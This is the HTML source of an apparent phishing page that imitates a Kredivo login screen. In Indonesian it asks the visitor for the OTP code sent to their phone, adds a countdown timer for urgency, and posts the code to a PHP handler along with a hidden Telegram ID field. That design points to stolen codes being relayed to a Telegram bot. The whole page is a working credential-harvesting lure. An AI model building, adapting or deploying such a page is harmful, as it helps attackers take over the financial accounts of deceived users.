<html> <head> <title>Login Kredivo</title> <!– for-mobile-apps –> <meta name=”viewport” content=”width=device-width, initial-scale=1″> <meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″> <meta name=”keywords” content=”Grocery Store Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design”> <script type=”application/x-javascript”> addEventListener(“load”, function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <!– //for-mobile-apps –> <link href=”css/bootstrap.css” rel=”stylesheet” type=”text/css” media=”all”> <link href=”css/style.css” rel=”stylesheet” type=”text/css” media=”all”> <!– font-awesome icons –> <link href=”css/font-awesome.css” rel=”stylesheet” type=”text/css” media=”all”> <link rel=”stylesheet” href=”https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css”> <link href=”//netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css” rel=”stylesheet”> <!– //font-awesome icons –> <!– js –> <!– //js –> <script type=”text/javascript”> jQuery(document).ready(function($) { $(“.scroll”).click(function(event){ event.preventDefault(); $(‘html,body’).animate({scrollTop:$(this.hash).offset().top},1000); }); });</script> <!– start-smoth-scrolling –> <style>.input-container { display: flex; width: 100%; margin-bottom : 10px; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px;}.input-container1 { display: flex; width: 100%; border : 1px solid #dfdfdf; padding : 10px; border-radius:10px; margin-top:30px;}/* Style the form icons */.icon { padding: 10px; background: white; color: dodgerblue; min-width: 50px; text-align: center;}/* Style the input fields */.input-field { width: 100%; padding: 10px; outline: none; border: none; font-size :15px;}/* Set a style for the submit button */.btn { background-color: #f27d31; color: white; padding: 15px 20px; border: none; cursor: pointer; width: 100%; opacity: 0.9; margin-top: 100px;}.btn:hover { opacity: 1;}.login-form{ width : 250px; margin-left : auto; margin-right : auto; margin-top:50px;}h4{ color : #2785CE; font-weight : bold;}.fingerprint{ float : right; width : 50px;}p{ font-size:11px; text-align:center; color:#3D3C42;}.eye{ width:30px; height:30px; margin-top:2px; margin-right:5px;}.imgleft{ width :20px; height:20px; margin-top : 5px;}.bannerimg{ width: 150px; margin-left:auto; margin-right:auto; margin-bottom:100px;}#timer{ text-align:center; font-weight:bold; font-size:20px; }body{ padding: 50px;}</style> </head> <body onload=”start_timer();”> <div class=”login-form”> <img src=”kredivo logo.png” class=”img-responsive bannerimg” !important=””> <div id=”timer”> <span id=”time”>00:02:59</span> </div> <br> <form action=”otp-confirmation-success.php” method=”post”> <div class=”shadow”> <p><strong>Masukkan kode OTP</strong><br>Masukkan kode OTP yang telah kami kirimkan ke nomor Anda</p> <div class=”input-container1″> <input class=”input-field” type=”number” placeholder=”KODE OTP” name=”otp” id=”otp” required maxlength=”4″ onkeypress=”return hanyaAngka (event)”> </div> <br> <input class=”input-field” type=”hidden” name=”telegram_id” value=”5489221268″> </div> <p><strong>Terjadi Masalah?</strong>Silahkan menghubungi ADMIN</p> <br> <div class=”button-image”> <button type=”submit” class=”btn” name=”submit”>Konfirmasi</button> </div> </form> </div> <!– //footer –> <!– Bootstrap Core JavaScript –> <script type=”text/javascript”> function start_timer(){ var timer = document.getElementById(“time”).innerHTML; var arr = timer.split(“:”); var hour = arr[0]; var min = arr[1]; var sec = arr[2]; if(sec == 0) { if(min == 0) { if(hour == 0) { alert(“Waktu Habis”); window.location.reload(); return; } hour–; min = 60; if(hour < 10) hour = “0” + hour; } min–; if(min < 10) min = “0” + min; sec = 59; } else sec–; if (sec < 10) sec == “0” + sec; document.getElementById(“time”).innerHTML = hour + “:” + min + “:” + sec; setTimeout(start_timer, 1000); } </script> <script>$(document).ready(function(){ $(“.dropdown”).hover( function() { $(‘.dropdown-menu’, this).stop( true, true ).slideDown(“fast”); $(this).toggleClass(‘open’); }, function() { $(‘.dropdown-menu’, this).stop( true, true ).slideUp(“fast”); $(this).toggleClass(‘open’); } );});</script> <script> function hanyaAngka(evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57)) return false; return true; } </script> <!– here stars scrolling icon –> <script type=”text/javascript”> $(document).ready(function() { /* var defaults = { containerID: ‘toTop’, // fading element id containerHoverID: ‘toTopHover’, // fading element hover id scrollSpeed: 1200, easingType: ‘linear’ }; */ $().UItoTop({ easingType: ‘easeOutQuart’ }); }); </script> <!– //here ends scrolling icon –> <a href=”#” id=”toTop” style=”display: none;”><span id=”toTopHover”></span>To Top</a> </body></html>